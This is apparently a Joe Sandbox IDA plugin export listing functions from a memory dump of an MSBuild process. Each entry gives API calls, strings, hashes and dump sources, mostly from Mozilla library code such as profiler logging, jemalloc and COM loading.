Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: 161fb274bf77909d2571e065df9f74d0d58506fbe13633af6826b348687f9595
Instruction ID: 6ad59add73bf7d5bb4d45b66c9abd4cb5a9f54ee462b53383956583e1907eacf
Opcode Fuzzy Hash: 161fb274bf77909d2571e065df9f74d0d58506fbe13633af6826b348687f9595
Instruction Fuzzy Hash: BC11C175200205ABCB94AF98E9489A57B7DFF8E35CB100017EA0587F01CB72A822CFA5

Function 6C372070 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 68libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C39AB89: EnterCriticalSection.KERNEL32(6C3EE370,?,?,?,6C3634DE,6C3EF6CC,?,?,?,?,?,?,?,6C363284), ref: 6C39AB94
Part of subcall function 6C39AB89: LeaveCriticalSection.KERNEL32(6C3EE370,?,6C3634DE,6C3EF6CC,?,?,?,?,?,?,?,6C363284,?,?,6C3856F6), ref: 6C39ABD1

LoadLibraryW.KERNEL32(combase.dll,6C371C5F), ref: 6C3720AE
GetProcAddress.KERNEL32(00000000,CoInitializeSecurity), ref: 6C3720CD
__Init_thread_footer.LIBCMT ref: 6C3720E1
FreeLibrary.KERNEL32 ref: 6C372124

Strings

combase.dll, xrefs: 6C3720A9
CoInitializeSecurity, xrefs: 6C3720C7

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeSecurity$combase.dll
API String ID: 4190559335-2476802802
Opcode ID: 99257c19c0281156475fbbb8d3544a0edd58f34cc79f3da09f8e293495ae372d
Instruction ID: d513427881b1575039c5dd70c6a18f792e6eef2e02c20bccc08c9ddd0b1a4ca2
Opcode Fuzzy Hash: 99257c19c0281156475fbbb8d3544a0edd58f34cc79f3da09f8e293495ae372d
Instruction Fuzzy Hash: BD217C76601209EFDF219F55ED48DCA3B7AFB4E328F004026FA0592690D776A861CFA5

Function 6C3C76C0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6C3C76F2
moz_xmalloc.MOZGLUE(00000001), ref: 6C3C7705

Part of subcall function 6C37CA10: malloc.MOZGLUE(?), ref: 6C37CA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C3C7717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6C3C778F,00000000,00000000,00000000,00000000), ref: 6C3C7731
free.MOZGLUE(00000000), ref: 6C3C7760

Strings

}>:l, xrefs: 6C3C76C4

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID: }>:l
API String ID: 2538299546-4148796621
Opcode ID: 0970e1a4b1c333db058ea7e3af76634c0327ae34eadf05e7cf04e601d44678c2
Instruction ID: 6d288374fea03fae85d92843647726485c89b2e820e25b855ba3385b604a2e5d
Opcode Fuzzy Hash: 0970e1a4b1c333db058ea7e3af76634c0327ae34eadf05e7cf04e601d44678c2
Instruction Fuzzy Hash: C01193B1A052156BE710AF659C44AAB7EE8EF46254F144429E88897200E7719C508BE2

Function 6C371FA0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 60libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C39AB89: EnterCriticalSection.KERNEL32(6C3EE370,?,?,?,6C3634DE,6C3EF6CC,?,?,?,?,?,?,?,6C363284), ref: 6C39AB94
Part of subcall function 6C39AB89: LeaveCriticalSection.KERNEL32(6C3EE370,?,6C3634DE,6C3EF6CC,?,?,?,?,?,?,?,6C363284,?,?,6C3856F6), ref: 6C39ABD1

LoadLibraryW.KERNEL32(combase.dll,?), ref: 6C371FDE
GetProcAddress.KERNEL32(00000000,CoCreateInstance), ref: 6C371FFD
__Init_thread_footer.LIBCMT ref: 6C372011
FreeLibrary.KERNEL32 ref: 6C372059

Strings

combase.dll, xrefs: 6C371FD9
CoCreateInstance, xrefs: 6C371FF7

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoCreateInstance$combase.dll
API String ID: 4190559335-2197658831
Opcode ID: 67ab4f257dacf95351c84e847ffd91ea2e3b9f694ab786e58f95cf907e8ef742
Instruction ID: a036a402edaf082b400f300d2dfa223075d03067b71d230bb43e559ab9902543
Opcode Fuzzy Hash: 67ab4f257dacf95351c84e847ffd91ea2e3b9f694ab786e58f95cf907e8ef742
Instruction Fuzzy Hash: C4116A75201604EFDF708F56ED4CE9A3B7DEB9E359F00802AE90682680D7769800CF75

Function 6C370EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C39AB89: EnterCriticalSection.KERNEL32(6C3EE370,?,?,?,6C3634DE,6C3EF6CC,?,?,?,?,?,?,?,6C363284), ref: 6C39AB94
Part of subcall function 6C39AB89: LeaveCriticalSection.KERNEL32(6C3EE370,?,6C3634DE,6C3EF6CC,?,?,?,?,?,?,?,6C363284,?,?,6C3856F6), ref: 6C39ABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6C39D9F0,00000000), ref: 6C370F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6C370F3C
__Init_thread_footer.LIBCMT ref: 6C370F50
FreeLibrary.KERNEL32(?,6C39D9F0,00000000), ref: 6C370F86

Strings

combase.dll, xrefs: 6C370F18
CoInitializeEx, xrefs: 6C370F36

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: 7461e3ef58701e4c0d75698a2332855993879cabd118cb76b684d3cc0fdc2bdd
Instruction ID: 9dfee4c11076c7d0280c2f650cbd78713202c22f79b50419a58fc9170ca5fbde
Opcode Fuzzy Hash: 7461e3ef58701e4c0d75698a2332855993879cabd118cb76b684d3cc0fdc2bdd
Instruction Fuzzy Hash: 54119E746053409BEFB0CF98E908A5637BCEB9E325F00422BE90582680D7BAE401CF69

Function 6C3AF540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C3A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C374A68), ref: 6C3A945E
Part of subcall function 6C3A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C3A9470
Part of subcall function 6C3A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C3A9482
Part of subcall function 6C3A9420: __Init_thread_footer.LIBCMT ref: 6C3A949F

GetCurrentThreadId.KERNEL32 ref: 6C3AF559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C3AF561

Part of subcall function 6C3A94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C3A94EE
Part of subcall function 6C3A94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C3A9508

GetCurrentThreadId.KERNEL32 ref: 6C3AF577
AcquireSRWLockExclusive.KERNEL32(6C3EF4B8), ref: 6C3AF585
ReleaseSRWLockExclusive.KERNEL32(6C3EF4B8), ref: 6C3AF5A3

Strings

[I %d/%d] profiler_resume_sampling, xrefs: 6C3AF499
[I %d/%d] profiler_pause_sampling, xrefs: 6C3AF3A8
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C3AF56A
[I %d/%d] profiler_resume, xrefs: 6C3AF239

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: 489163c97225eda5604008137b53ab5aac3aee03e5bb66df43cc1d8ce8fb4ecd
Instruction ID: 9b0b06715d6e6c50d60a23437480a7c0d9f9f4faacf6ace9972bee4e48d72b37
Opcode Fuzzy Hash: 489163c97225eda5604008137b53ab5aac3aee03e5bb66df43cc1d8ce8fb4ecd
Instruction Fuzzy Hash: 4DF0E9756003049FDB51AFA4E84896A7BBCEFCE29DF000413FA059B701DB7648028F69

Function 6C3AF600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C3A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C374A68), ref: 6C3A945E
Part of subcall function 6C3A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C3A9470
Part of subcall function 6C3A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C3A9482
Part of subcall function 6C3A9420: __Init_thread_footer.LIBCMT ref: 6C3A949F

GetCurrentThreadId.KERNEL32 ref: 6C3AF619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C3AF598), ref: 6C3AF621

Part of subcall function 6C3A94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C3A94EE
Part of subcall function 6C3A94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C3A9508

GetCurrentThreadId.KERNEL32 ref: 6C3AF637
AcquireSRWLockExclusive.KERNEL32(6C3EF4B8,?,?,00000000,?,6C3AF598), ref: 6C3AF645
ReleaseSRWLockExclusive.KERNEL32(6C3EF4B8,?,?,00000000,?,6C3AF598), ref: 6C3AF663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C3AF62A

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: 4aecb7196671c04c21f37ad6cbf0559ffb3d2553e928ff3d7acdcfcb5928d774
Instruction ID: 5bd8e30fc09552ad6049fa4fcbec8ca11e0e06a9c50e7e9e75654758cc5b9cac
Opcode Fuzzy Hash: 4aecb7196671c04c21f37ad6cbf0559ffb3d2553e928ff3d7acdcfcb5928d774
Instruction Fuzzy Hash: 95F0B475200300AFDB516FA4A84896A7B7CEBCE29DF000413EA4597711CB7648028F69

Function 6C370E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6C370DF8), ref: 6C370E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6C370EA1
__Init_thread_footer.LIBCMT ref: 6C370EB5
FreeLibrary.KERNEL32 ref: 6C370EC5

Strings

kernel32.dll, xrefs: 6C370E7D
GetProcessMitigationPolicy, xrefs: 6C370E9B

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: 184eff0fc75c1fda4f42c921cc1e01e77300107920196d39999609d84cac653d
Instruction ID: 16dfa5a7de6041b140e4f2af7173c16a46b8793071b56154dd8f60462307de25
Opcode Fuzzy Hash: 184eff0fc75c1fda4f42c921cc1e01e77300107920196d39999609d84cac653d
Instruction Fuzzy Hash: 17012870B017818BDF708FAAF854B6633B9E78E398F100527D90186F40D7BAA4448F2A

Function 6C3A05F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6C39CFAE,?,?,?,6C3631A7), ref: 6C3A05FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6C39CFAE,?,?,?,6C3631A7), ref: 6C3A0616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6C3631A7), ref: 6C3A061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6C3631A7), ref: 6C3A0627

Strings

<jemalloc>, xrefs: 6C3A05FA, 6C3A060F
: (malloc) Error in VirtualFree(), xrefs: 6C3A061B, 6C3A0625

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: e8fcb0bfdf1a0ef59124ff0dc920fed76ac639fc5d660b85aec643a584ff79cd
Instruction ID: 7fdfe95a9ab6b869357cf342892c015171a1bf72659853b5a52a5f6e7d3bf9f8
Opcode Fuzzy Hash: e8fcb0bfdf1a0ef59124ff0dc920fed76ac639fc5d660b85aec643a584ff79cd
Instruction Fuzzy Hash: DEE046A3A1111037E6142256BC86DBB661CDBC6138F09003AFD0D82301A94ABD1A96B7

Function 6C3705F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c78f76e9ae263345da881589b56267d82b7fa4e87b9aa4eb29e7beaf25dfdbe
Instruction ID: 542cd0c820d4e8388b5dd91659aa2cf4661933b0dd6b058e4053f363242a5b0c
Opcode Fuzzy Hash: 6c78f76e9ae263345da881589b56267d82b7fa4e87b9aa4eb29e7beaf25dfdbe
Instruction Fuzzy Hash: 10A146B0A00745CFDB24CF29C594A9AFBF5BF49304F04866ED48A97B00E775A945CFA4

Function 6C3C14A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C3C14C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C3C14E2
GetCurrentThreadId.KERNEL32 ref: 6C3C1546
InitializeConditionVariable.KERNEL32(?), ref: 6C3C15BA
free.MOZGLUE(?), ref: 6C3C16B4

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: f7691701fca55847f4d7cadc1ea9d99be5d6ab2ed921a51ace249a7c5e9be071
Instruction ID: f0a8f8395a8e1ce3dfb2b8166594e3b67331483ee5eb54e91a2b680e3622b7e5
Opcode Fuzzy Hash: f7691701fca55847f4d7cadc1ea9d99be5d6ab2ed921a51ace249a7c5e9be071
Instruction Fuzzy Hash: 3061DF72A007509BDB218F24D880BDEB7B4BF89308F04851DED8A67711DB31E959CF92

Function 6C3B9F40 Relevance: 9.2, APIs: 6, Instructions: 157timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C3B9FDB
free.MOZGLUE(?,?), ref: 6C3B9FF0
free.MOZGLUE(?,?), ref: 6C3BA006
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C3BA0BE
free.MOZGLUE(?,?), ref: 6C3BA0D5
free.MOZGLUE(?,?), ref: 6C3BA0EB

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 8f4cf446a344c32228645c64ee64c19be58592d5813565df1a2f420be1e0bb4b
Instruction ID: 4cb9b9e9ef467673dcd032bf8f16f670019757213d4b90401107b759de6e88ce
Opcode Fuzzy Hash: 8f4cf446a344c32228645c64ee64c19be58592d5813565df1a2f420be1e0bb4b
Instruction Fuzzy Hash: FA61CF754097019FC711CF18C48059AB3F5FF98328F108659E899ABA02E732E986CFD2

Function 6C3BDC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C3BDC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6C3BD38A,?), ref: 6C3BDC6F
free.MOZGLUE(?,?,?,?,?,6C3BD38A,?), ref: 6C3BDCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6C3BD38A,?), ref: 6C3BDCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6C3BD38A,?), ref: 6C3BDD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6C3BD38A,?), ref: 6C3BDD4A

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: 8f56492111e2c62ef40560258b3497e72750a2557bc0f7ba2548294151d9a55d
Instruction ID: 585821006c652948cda4123a73d33cf4745252d4e92d0e791e5bc50be0e86714
Opcode Fuzzy Hash: 8f56492111e2c62ef40560258b3497e72750a2557bc0f7ba2548294151d9a55d
Instruction Fuzzy Hash: A4415AB5A00605CFCB40DF99C88099AB7F9FF98318B554569D946ABB14D731FC00CF90

Function 6C3BC810 Relevance: 9.1, APIs: 6, Instructions: 75COMMON

Download Yara Rule

APIs

??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C3BC82D
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C3BC842

Part of subcall function 6C3BCAF0: ?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(00000000,00000000,?,6C3DB5EB,00000000), ref: 6C3BCB12

?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,00000000), ref: 6C3BC863
std::_Facet_Register.LIBCPMT ref: 6C3BC875

Part of subcall function 6C39B13D: ??_U@YAPAXI@Z.MOZGLUE(00000008,?,?,6C3DB636,?), ref: 6C39B143

??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C3BC89A
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C3BC8BC

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_Bid@locale@std@@Facet_Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterV42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 2745304114-0
Opcode ID: a3ab20b89e312d00d7e95f2becadb627d5f9afec6c952d7de9ed6f5ea93abae2
Instruction ID: c0d4886d8ab05bddaffad1d19a1d4e69f90f61076a9372537782c5e2801348ce
Opcode Fuzzy Hash: a3ab20b89e312d00d7e95f2becadb627d5f9afec6c952d7de9ed6f5ea93abae2
Instruction Fuzzy Hash: 98119371B003099BCB11EFA4D8C49AFBB78EF9D358B00012AE506AB750DB309904CFA5

Function 6C39F440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6C39F480

Part of subcall function 6C36F100: LoadLibraryW.KERNEL32(shell32,?,6C3DD020), ref: 6C36F122
Part of subcall function 6C36F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C36F132

CloseHandle.KERNEL32(00000000), ref: 6C39F555

Part of subcall function 6C3714B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C371248,6C371248,?), ref: 6C3714C9
Part of subcall function 6C3714B0: memcpy.VCRUNTIME140(?,6C371248,00000000,?,6C371248,?), ref: 6C3714EF

Part of subcall function 6C36EEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6C36EEE3

CreateFileW.KERNEL32 ref: 6C39F4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6C39F523

Strings

\oleacc.dll, xrefs: 6C39F4CB

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: 7f40aa047ea682e8684c40e83ee0e2fd0d6e3b742c7e74a020aa2139faeb720c
Instruction ID: 2661ede2de6f558d1cd967e15f753d7b748ff65af25db5283922a1011653a611
